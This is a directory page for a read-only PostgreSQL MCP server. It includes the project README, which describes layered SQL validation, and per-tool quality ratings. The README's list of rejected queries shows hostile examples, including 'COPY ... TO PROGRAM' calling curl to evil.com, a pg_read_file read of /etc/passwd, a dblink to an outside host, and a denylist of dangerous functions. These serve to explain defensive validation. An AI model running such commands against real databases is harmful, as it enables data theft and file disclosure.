pg-readonly-mcp
Provides tools for read-only exploration of a PostgreSQL database, including listing schemas and tables, describing table structure, sampling rows, and running bounded SQL queries.
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@pg-readonly-mcpWhat are our top 5 customers by total spend?"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
mcp-server-db
An MCP server that lets Claude (or any MCP client) explore a Postgres database in plain English — and only read it.
Ask "which customers spent the most last quarter?" and get an answer. Ask it to delete something and four independent layers say no.
You: What are our top 5 customers by total spend?
Claude: [list_tables] [describe_table payment] [run_query ...]
KARL SEAL — $221.55 across 45 payments
ELEANOR HUNT — $216.54 across 46 payments
...Built with FastMCP · Python 3.12 · psycopg 3 · sqlglot
Quick start
Requirements: Python 3.12+, a Postgres database, and uv.
git clone https://github.com/<you>/mcp-server-db.git
cd mcp-server-db
uv sync1. Create the read-only role
The server is designed to connect as a role that cannot write, so a bug on this side can never damage your data. Run this once, as a superuser, against the database you want to expose:
psql -v DBNAME=mydb -f sql/bootstrap_role.sql mydbOpen sql/bootstrap_role.sql first — change the
password, and if you want to expose schemas other than public, repeat the
GRANT USAGE / GRANT SELECT block for each one. The script ends with a sanity
query that must return zero rows; if it returns anything, the role has
privileges it should not have.
2. Point the server at it
export MCP_DB_DSN='postgresql://mcp_ro:your-password@localhost:5432/mydb'
uv run mcp-server-dbIt speaks MCP over stdio, so it will sit there silently waiting — that is
correct. Ctrl-C to quit. Real use goes through a client, below.
Related MCP server: MCP PostgreSQL Server
Hooking it up
Claude Code
claude mcp add postgres-readonly \
--env MCP_DB_DSN='postgresql://mcp_ro:your-password@localhost:5432/mydb' \
-- uv run --directory /absolute/path/to/mcp-server-db mcp-server-dbThen claude and ask away. /mcp shows whether it connected.
Claude Desktop
Edit claude_desktop_config.json:
macOS —
~/Library/Application Support/Claude/claude_desktop_config.jsonWindows —
%APPDATA%\Claude\claude_desktop_config.jsonLinux —
~/.config/Claude/claude_desktop_config.json
{
"mcpServers": {
"postgres-readonly": {
"command": "uv",
"args": [
"run",
"--directory",
"/absolute/path/to/mcp-server-db",
"mcp-server-db"
],
"env": {
"MCP_DB_DSN": "postgresql://mcp_ro:your-password@localhost:5432/mydb"
}
}
}
}Restart Claude Desktop completely. The tools appear under the 🔌 icon.
Use absolute paths — the client does not launch from this directory. If uv
is not on your PATH as the client sees it, use its full path (which uv).
Any other MCP client
Anything that can launch a stdio MCP server works. The command is
uv run --directory <repo> mcp-server-db, with MCP_DB_DSN in the environment.
Things to ask it
Once connected, you talk to your database in English. Claude picks the tools.
Finding your way around
"What's in this database?"
"Show me the tables in the public schema, biggest first."
"What columns does the orders table have, and what's it linked to?"
"Show me a few rows from customers so I can see the shape of the data."
Actual questions
"Which 10 customers spent the most, and how many orders each?"
"How many signups per month this year?"
"Which products have never been ordered?"
"What's the average time between a customer's first and second order?"
"Show me active and archived orders together, most recent first."
"Are there any orders whose customer_id doesn't exist in customers?"
Understanding the schema
"Draw me the relationships between these tables."
"Which columns are nullable but probably shouldn't be?"
"Is there an index on the column we filter by most?"
Things it will refuse — worth trying once to see the layers work
"Delete the test customers."
"Add an index on orders.created_at."
"Read /etc/passwd."
It will explain that it only has read access, rather than failing obscurely.
Tools
Tool | Returns |
|
|
|
|
|
|
| first |
| bounded read-only result; |
row_estimate is the planner's reltuples statistic — instant, but approximate,
and stale until someone runs ANALYZE. It is null for plain views. Ask for
count(*) when you need the exact number.
Introspection uses fixed, parameterised catalog queries; identifiers are quoted
with psycopg.sql.Identifier and never interpolated into SQL strings.
The four safety layers
Each is independent. Getting past one still lands on the next.
# | Layer | Where |
1 | AST validation. Parsed with sqlglot; every node in the tree is checked against a denylist of DML/DDL classes plus a function allowlist. No regexes. The SQL sent to Postgres is regenerated from the validated AST with comments stripped. | |
2 | Read-only transactions. Every statement runs inside a Postgres | |
3 | A SELECT-only role. The DSN points at a role holding | |
4 | Bounded results. Queries are wrapped as |
Why validation is recursive, not positional
Safety is never decided by asking "what is at the root of this query?". That question gets the classic case wrong:
WITH x AS (DELETE FROM users RETURNING *) SELECT * FROM xA SELECT sits at the root, so from the top it looks innocent. Instead, every
node is visited with expression.walk() and checked. The walk starts at the root
node, so a top-level INSERT is caught by exactly the same check as one buried
in a CTE — there is no separate case for it.
Once contents rather than shape decide the answer, branch structure stops
mattering. UNION, INTERSECT, EXCEPT, subqueries, CTEs, and correlated
subqueries in a WHERE clause are all just nodes on the walk, and all are
allowed — they are pure read-only relational algebra, and "show me active and
archived orders together" is a perfectly reasonable question.
A root-type allowlist (Select, SetOperation, Subquery, Values) is kept as
a secondary check so unrecognised statement types fail closed. It is not what
makes a query safe.
Function allowlist, not denylist
sqlglot gives standard SQL functions their own typed classes (Sum, Lower,
TimestampTrunc, …), which are safe by construction. Anything it does not
recognise arrives as exp.Anonymous, and those are checked against an allowlist
of ~300 known read-only Postgres functions.
Unknown means rejected — so a dangerous function added in some future Postgres
release fails closed, instead of walking through a denylist nobody remembered to
update. A denylist of known offenders (pg_read_file, dblink, lo_import,
query_to_xml, pg_sleep, …) is applied on top, covering the case where sqlglot
later gives one of them a typed class.
Using your own functions? Add their names to ALLOWED_FUNCTIONS in
guard.py. If a legitimate query is rejected with
"not on the allowlist", that is the fix.
What gets rejected
SELECT 1; DROP TABLE users → only a single statement is allowed
WITH x AS (DELETE FROM t RETURNING *) SELECT ... → DELETE is not allowed
SELECT * INTO stolen FROM users → SELECT ... INTO is not allowed
COPY t TO PROGRAM 'curl evil.com' → COPY is not allowed
SELECT pg_read_file('/etc/passwd') → function not allowed
SELECT * FROM dblink('host=evil', '...') → function not allowed
SELECT * FROM t FOR UPDATE → row locking is not allowedAnd with layer 1 bypassed entirely, Postgres itself still answers
cannot execute INSERT in a read-only transaction.
UNION vs UNION ALL
Plain UNION deduplicates, which means a sort or hash over the full result of
both branches before a single row is returned — the outer LIMIT cannot
short-circuit it. On large tables that is the likeliest way to hit the
statement_timeout. run_query's tool description tells the model to prefer
UNION ALL when duplicates do not need removing.
Output shape
One dict per row repeats every key on every row. Results are columnar instead:
{
"columns": ["id", "name"],
"rows": [[1, "a"], [2, "b"]],
"row_count": 2,
"truncated": false
}On 100 real rows × 4 columns that is 3,226 bytes against 7,230 for the dict-per-row shape — a 55% saving.
truncated: true means rows were dropped by the row cap or the byte cap; ask a
narrower question or raise max_rows.
Known overhead. FastMCP pretty-prints the text content block with
indent=2and sends a second compact copy asstructuredContent, so the same 100-row result costs ~11.2 KB on the wire rather than 3.2 KB. That is the SDK's tool-result serialisation, not this server's encoding, and it applies to any FastMCP server. Returning a pre-serialised compact string from each tool avoids it, at the cost of droppingstructuredContentfor clients that use it.
Values are coerced to JSON: Decimal → int when integral else float, dates and
timestamps → ISO 8601 strings, bytea → base64, uuid → string, json/jsonb
→ native objects. Treat very high-precision numeric as approximate.
Configuration
Variable | Default | Meaning |
| required | connection string for the SELECT-only role |
|
| per-statement timeout |
|
| response byte cap (hard max |
|
| connection pool sizing |
|
| connection timeout |
Row caps are fixed in code, not configurable by the client: run_query defaults
to 100 rows and is hard-capped at 1000; sample_table is hard-capped at 50.
Troubleshooting
"No database DSN configured" — MCP_DB_DSN did not reach the process. In
Claude Desktop it must be inside the server's env block, not your shell.
Server does not appear in the client — check the paths are absolute and that
uv resolves. Test the exact command from your config in a terminal first; if it
hangs silently with no error, that is success.
"relation does not exist, or the connected role has no SELECT privilege" —
usually the latter. Re-run the GRANT SELECT block for that schema; tables
created after the bootstrap need ALTER DEFAULT PRIVILEGES (see the script).
"Function … is not on the allowlist" — expected for custom or extension
functions. Add the name to ALLOWED_FUNCTIONS in guard.py.
Queries time out — the default is 5s. Plain UNION on large tables is the
usual cause; try UNION ALL. Raise MCP_DB_STATEMENT_TIMEOUT_MS if genuinely
needed.
truncated: true — the byte cap hit before the row cap. Select fewer
columns, or raise MCP_DB_MAX_BYTES.
Layout
src/mcp_server_db/
server.py FastMCP tool definitions
guard.py layer 1 (AST validation) + layer 4 (bounded rewrite)
db.py layer 2 (pooling, read-only transactions)
introspect.py catalog queries behind the introspection tools
encode.py columnar, byte-capped result encoding
config.py environment-driven settings
sql/
bootstrap_role.sql layer 3 (the SELECT-only role)Available Tools
5 toolsdescribe_tableA
Describe a table: columns, types, nullability, primary key, FKs, indexes.
Columns come back flat as column_names (the field labels) and
column_rows (one positional row per column), in ordinal position.
| Name | Required | Description | Default |
|---|---|---|---|
| table | Yes | ||
| schema | Yes |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden. It discloses how columns are returned ('flat as `column_names` and `column_rows` in ordinal position'), which adds some behavioral context, but it lacks details about side effects (likely none) or potential errors.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise with two clear parts: what the tool describes and how the output is structured. There is no wasted language, though the output details could be more succinct.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool has an output schema (not shown) and two simple string parameters, the description adequately covers the purpose. It mentions key output elements but does not fully detail how foreign keys or indexes appear, which is acceptable since the output schema presumably covers that.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 0% schema description coverage, and the description does not add meaning beyond the parameter names 'schema' and 'table'. While the names are self-explanatory, the description fails to provide any additional constraints, formats, or examples to compensate for the lack of schema descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly specifies the tool's function: 'Describe a table: columns, types, nullability, primary key, FKs, indexes.' This is a specific verb-resource pair that distinguishes it from siblings like list_schemas, list_tables, sample_table, and run_query.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies using the tool to get table schema details but does not explicitly state when to use it versus alternatives like sample_table or run_query. There is no guidance on prerequisites or when not to use this tool.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
list_schemasA
List schemas the connected read-only role can access.
| Name | Required | Description | Default |
|---|---|---|---|
No parameters | |||
Output Schema
| Name | Required | Description |
|---|---|---|
| result | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It mentions 'read-only role' indicating safe operation, but lacks details on behavior like pagination or empty results. Basic transparency is present.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence, front-loaded, with no unnecessary words. It is highly efficient.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple list tool with no parameters and an output schema, the description is sufficient. It covers the essential scope but omits details like sorting or limits, which are minor.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
There are zero parameters, so the description adds nothing beyond schema. Baseline for 0 params is 4.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool lists schemas accessible by the connected read-only role, with a specific verb and resource. It is distinct from sibling tools like list_tables and describe_table.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides no guidance on when to use this tool versus alternatives, nor any preconditions or exclusions.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
list_tablesA
List tables and views in schema with an estimated row count and comment.
Returns columns=[name, row_estimate, comment, kind]. row_estimate comes
from the planner statistics (pg_class.reltuples) and is approximate; it is
null for views.
| Name | Required | Description | Default |
|---|---|---|---|
| schema | Yes |
Output Schema
| Name | Required | Description |
|---|---|---|
| rows | Yes | |
| columns | Yes | |
| row_count | Yes | |
| truncated | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Discloses that row_estimate is approximate (from planner stats) and null for views, adding context beyond the no-annotation baseline. Could explicitly state read-only nature.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences with clear front-loaded purpose, no wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Complete for a simple listing tool with output schema; misses optional details like permissions or that it reflects current state.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Description links the 'schema' parameter to the operation context, compensating for the schema's lack of parameter description (0% coverage). But no additional details like format or examples.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Clearly states it lists tables and views in a given schema with row estimates and comments. Distinguishes from siblings like describe_table and sample_table.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Implied usage for quickly reviewing table sizes, but no explicit guidance on when to use vs alternatives or prerequisites.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
run_queryA
Run a single read-only SELECT and return a bounded, columnar result.
Accepts one statement of any read-only shape: SELECT, WITH ... SELECT,
UNION / UNION ALL / INTERSECT / EXCEPT, and any nesting of those.
Rejected before execution: multiple statements, DML/DDL anywhere in the tree
(including data-modifying CTEs), SELECT ... INTO, COPY, row locking, and
any function not on the read-only allowlist (pg_read_file, dblink, ...).
The query is wrapped in SELECT * FROM (<sql>) sub LIMIT max_rows, so the
cap applies to the combined result of a set operation, not to one branch.
max_rows defaults to 100 and is capped at 1000. The response is separately
capped in bytes, in which case truncated is true.
Performance note: plain UNION deduplicates, which costs a sort or hash over
the full result of both branches before any row is returned — the outer LIMIT
cannot short-circuit it. On large tables that is the most likely way to hit
the server's statement timeout. Prefer UNION ALL when you do not need
duplicates removed.
| Name | Required | Description | Default |
|---|---|---|---|
| sql | Yes | ||
| max_rows | No |
Output Schema
| Name | Required | Description |
|---|---|---|
| rows | Yes | |
| columns | Yes | |
| row_count | Yes | |
| truncated | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
The description thoroughly discloses behavioral traits: read-only constraint, accepted/rejected SQL constructs, the wrapping with LIMIT and max_rows default/cap, byte cap and truncation flag, and a performance note about UNION versus UNION ALL. With no annotations provided, the description fully compensates.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is well-structured and front-loaded with the main purpose. It is slightly long but every sentence adds value, including technical constraints and performance advice. It earns its length.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity and the presence of an output schema, the description is very complete. It covers input constraints, behavior (wrapping, truncation), and performance considerations. No gaps are evident.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 0%, so the description compensates well. It explains that 'sql' accepts read-only SELECT statements of various shapes, and details 'max_rows' default (100) and cap (1000). This adds significant meaning beyond the bare schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description starts with 'Run a single read-only SELECT and return a bounded, columnar result,' which clearly states the tool's specific action and resource. It distinguishes from sibling tools (list_schemas, list_tables, etc.) which are metadata operations, making the purpose unambiguous.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description does not explicitly state when to use this tool versus alternatives. It mentions accepted/rejected statement types and a performance note, but lacks guidance on when to prefer run_query over sibling tools like sample_table for quick data previews or describe_table for schema info.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
sample_tableA
Return the first n rows of a table. n is clamped to 1..50.
| Name | Required | Description | Default |
|---|---|---|---|
| n | No | ||
| table | Yes | ||
| schema | Yes |
Output Schema
| Name | Required | Description |
|---|---|---|
| rows | Yes | |
| columns | Yes | |
| row_count | Yes | |
| truncated | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Discloses clamping of n to 1..50, a key behavioral trait. With no annotations, this adds value. Could mention ordering or randomness.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Very concise, single sentence plus constraint detail. No wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Adequate for a simple tool, given output schema exists. Lacks mention of error conditions or ordering guarantees.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema has 0% description coverage; description only clarifies n's clamping. Does not explain schema or table parameters beyond names.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Clearly states it returns the first n rows of a table, with a specific verb and resource. Distinguishes from siblings like list_schemas or run_query.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Implied usage for sampling table data, but no explicit when-to-use or comparison with siblings.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.
5 tool updates
v0.1.0- First observed
describe_table - First observed
list_schemas - First observed
list_tables - First observed
run_query - First observed
sample_table
TDQS
Each tool targets a distinct operation: listing schemas vs. listing tables vs. describing a table vs. sampling rows vs. running arbitrary queries. No overlap exists.
All five tools follow a consistent verb_noun pattern with underscores (e.g., list_schemas, describe_table), providing clear and predictable naming.
Five tools is an ideal number for a read-only database interface—covering all essential operations without unnecessary complexity.
The toolset covers the full read-only workflow: schema discovery, table listing, table descriptions, data sampling, and arbitrary SELECT queries. No obvious gaps.
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Connectors
Query PostgreSQL databases in plain English — LLM-generated, safety-validated SQL.
Safe, read-only Postgres and MySQL access for AI agents. Audit log + column-level controls.
Deterministic safety, correctness & cost gate that vets Postgres SQL before your AI agent runs it.
Query 40 databases from Claude, ChatGPT, or Cursor — on any device. Read-only, encrypted, audited.
Related MCP Servers
- -licenseNot gradedqualityNot gradedmaintenanceEnables secure read-only interactions with PostgreSQL databases through natural language. Provides database inspection, table listing, and SQL query execution with built-in security validation.-
- AlicenseNot gradedqualityCmaintenanceEnables secure read-only access to PostgreSQL databases, allowing users to list tables, query schemas, execute SELECT statements, and inspect table structures through natural language interactions.7514MIT
- AlicenseAqualityAmaintenanceEnables read-only interaction with PostgreSQL databases through natural language queries, supporting dynamic connections and secure query validation.31252MIT
- AlicenseNot gradedqualityDmaintenanceEnables secure, read-only PostgreSQL database interaction through natural language, with automatic database discovery and connection management.2MIT
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/MadlyFriese/pg-readonly-mcp'
If you have feedback or need assistance with the MCP directory API, please join our Discord server